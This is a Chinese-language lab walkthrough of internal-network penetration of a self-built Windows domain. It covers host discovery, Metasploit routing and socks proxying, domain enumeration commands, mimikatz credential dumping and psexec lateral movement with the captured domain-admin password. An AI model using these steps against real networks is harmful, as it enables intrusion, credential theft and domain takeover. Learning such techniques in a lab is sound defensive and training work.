一、环境
域环境是自己搭的,基本模仿的企业部署
域:learn.com
操作系统类型 IP地址 本地账户/密码 域账户/密码 角色
Windows 2008 R2 192.168.138.129 Administrator/ learn\Administrator DC域控
win@2008.com win@2008.com
Windows 2003 网卡1:192.168.138.130 Administrator/ learn\win2003 域主机/
网卡2:192.168.47.159 root win@2003 外网站点服务器
Windows XP 192.168.138.131 Administrator/ learn\winxp 域内主机
root xp@123.com
二、渗透步骤
ps:由于是内网测试,前面的外网打入内网的步骤就省略了哈! 即假设攻击者已控制了windows 2003主机。
2.1 信息收集
2.1.1 IP-域 信息
信息整理
账户: learn\win2003
域: learn.com
内网IP: 192.168.138.130
外网IP: 192.168.47.159
域控制器DC的IP: 192.168.138.129
另一台域内主机: 192.168.138.131
C:\Documents and Settings\win2003\����>ping learn.com
Pinging learn.com [192.168.138.129] with 32 bytes of data:
Reply from 192.168.138.129: bytes=32 time<1ms TTL=128
内网主机发现:
1、在metepreter的shell里执行: for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I | findstr "TTL="
2、建立路由-代理进行内网扫描(参考 2.1.2节 )
2.1.2 建立路由-代理
run autoroute -s 192.168.138.0/24 #通过当前session建立一条通往内网网段的路由
run autoroute -p
方法一:msf自带的扫描模块
主机发现:(自己用来看看效果吧!)
use auxiliary/scanner/discovery/arp_sweep
use auxiliary/scanner/netbios/nbname
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep
端口扫描:
use auxiliary/scanner/portscan/ack
服务扫描:自己挑着用吧!
search auxiliary/scanner/
方法二:设置 proxychains代理
use auxiliary/server/socks4a
set SRVPORT 3333
run
vi/etc/proxychains.conf
socks4 192.168.47.147 3333
sudo proxychains3 nmap -Pn -sS 192.168.138.0/24(由于在域内,单纯的扫描可能识别不到,可参考附带一些常用端口去扫描)
sudo proxychains3 nmap -Pn -sS 192.168.138.129 -p 3389,445
2.1.3 域用户信息收集
常用指令
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
MSF模块
run post/windows/gather/enum_ad_computers
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_ad_groups
run post/windows/gather/enum_domain
run post/windows/gather/enum_domain_group_users
run post/windows/gather/enum_domain_tokens
run post/windows/gather/enum_domain_users
run post/windows/gather/enum_domains
信息整理
域: learn.com
域用户:Administrator Guest krbtgt win2003 winxp
利用msf内置的mimikatz提取账户密码
load mimikatz #加载 mimkatz 模块
help #查看命令
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds. #提取域账户密码
livessp Attempt to retrieve livessp creds.
mimikatz_command Run a custom command.
msv Attempt to retrieve msv creds (hashes).
ssp Attempt to retrieve ssp creds.
tspkg Attempt to retrieve tspkg creds.
wdigest Attempt to retrieve wdigest creds. #提取内存里的账户密码
meterpreter >
思考: 进入内网,我们更多的是想拿到域管理员账户权限,可以伪造证书进行PTT攻击,或是直接获取到明文密码!!!
(前提,域内主机不存在系统级或是通用服务漏洞的时候)
2.2 内网横向移动
2.2.1 dump内存中的明文密码
为了方便获取内存里的密码,人为的利用域管理员账户访问win2003外网服务器。
**这样就获取到了域管理员的账户和密码: ** Administartor/win@2008.com
到这里,你基本可以在内网横着走了!!!
比如前面我们知道内网还存在一台主机 192.168.138.131
简单演示:
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp #注意,在内网中,往往网络会受限制,通常使用 bind 系列的payload
set rhost 192.168.138.131
set rhosts 192.168.138.131
set smbdomain learn.com
set smbuser Administrator
set smbpass win@2008.com
set lport 5556
explort
三、总结
but:实际中,我们是获取不到明文密码的!中大型企业里基本不会在用win2008以下的主机了。
接下来,我们需要利用 PTH PTT攻击 。
写累了,暂且就这样吧这章!
后面会继续补充 PTH PTT攻击 这一部分,期待下吧!!!
PTH 和 PTT 攻击